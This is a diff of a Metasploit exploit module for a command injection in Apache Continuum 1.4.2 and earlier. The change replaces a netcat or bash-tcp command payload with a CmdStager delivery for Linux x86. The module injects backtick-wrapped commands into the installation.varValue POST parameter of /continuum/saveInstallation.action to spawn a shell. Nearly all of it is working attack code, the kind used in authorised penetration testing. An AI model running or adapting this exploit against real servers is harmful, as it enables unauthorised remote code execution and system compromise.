@@ -8,37 +8,32 @@ class MetasploitModule < Msf::Exploit::Remote
8
8
Rank = ExcellentRanking
9
9
10
10
include Msf ::Exploit ::Remote ::HttpClient
11
+ include Msf ::Exploit ::CmdStager
11
12
12
13
def initialize ( info = { } )
13
14
super ( update_info ( info ,
14
- 'Name' => 'Apache Continuum Arbitrary Command Execution' ,
15
- 'Description' => %q{
15
+ 'Name' => 'Apache Continuum Arbitrary Command Execution' ,
16
+ 'Description' => %q{
16
17
This module exploits a command injection in Apache Continuum <= 1.4.2.
17
18
By injecting a command into the installation.varValue POST parameter to
18
19
/continuum/saveInstallation.action, a shell can be spawned.
19
20
} ,
20
- 'Author' => [
21
+ 'Author' => [
21
22
'David Shanahan' , # Proof of concept
22
23
'wvu' # Metasploit module
23
24
] ,
24
- 'References' => [
25
+ 'References' => [
25
26
%w{ EDB 39886 }
26
27
] ,
27
- 'DisclosureDate' => 'Apr 6 2016' ,
28
- 'License' => MSF_LICENSE ,
29
- 'Platform' => 'unix' ,
30
- 'Arch' => ARCH_CMD ,
31
- 'Privileged' => false ,
32
- 'Payload' => {
33
- 'Compat' => {
34
- 'PayloadType' => 'cmd cmd_bash' ,
35
- 'RequiredCmd' => 'generic netcat bash-tcp'
36
- }
37
- } ,
38
- 'Targets' => [
28
+ 'DisclosureDate' => 'Apr 6 2016' ,
29
+ 'License' => MSF_LICENSE ,
30
+ 'Platform' => 'linux' ,
31
+ 'Arch' => [ ARCH_X86 , ARCH_X86_64 ] ,
32
+ 'Privileged' => false ,
33
+ 'Targets' => [
39
34
[ 'Apache Continuum <= 1.4.2' , { } ]
40
35
] ,
41
- 'DefaultTarget' => 0
36
+ 'DefaultTarget' => 0
42
37
) )
43
38
44
39
register_options ( [
@@ -62,13 +57,18 @@ def check
62
57
end
63
58
64
59
def exploit
60
+ print_status ( 'Injecting CmdStager payload...' )
61
+ execute_cmdstager ( flavor : :bourne )
62
+ end
63
+
64
+ def execute_command ( cmd , opts = { } )
65
65
send_request_cgi (
66
66
'method' => 'POST' ,
67
67
'uri' => '/continuum/saveInstallation.action' ,
68
68
'vars_post' => {
69
69
'installation.name' => Rex ::Text . rand_text_alpha ( 8 ) ,
70
70
'installation.type' => 'jdk' ,
71
- 'installation.varValue' => '`' + payload . encoded + '`'
71
+ 'installation.varValue' => '`' + cmd + '`'
72
72
}
73
73
)
74
74
end
0 commit comments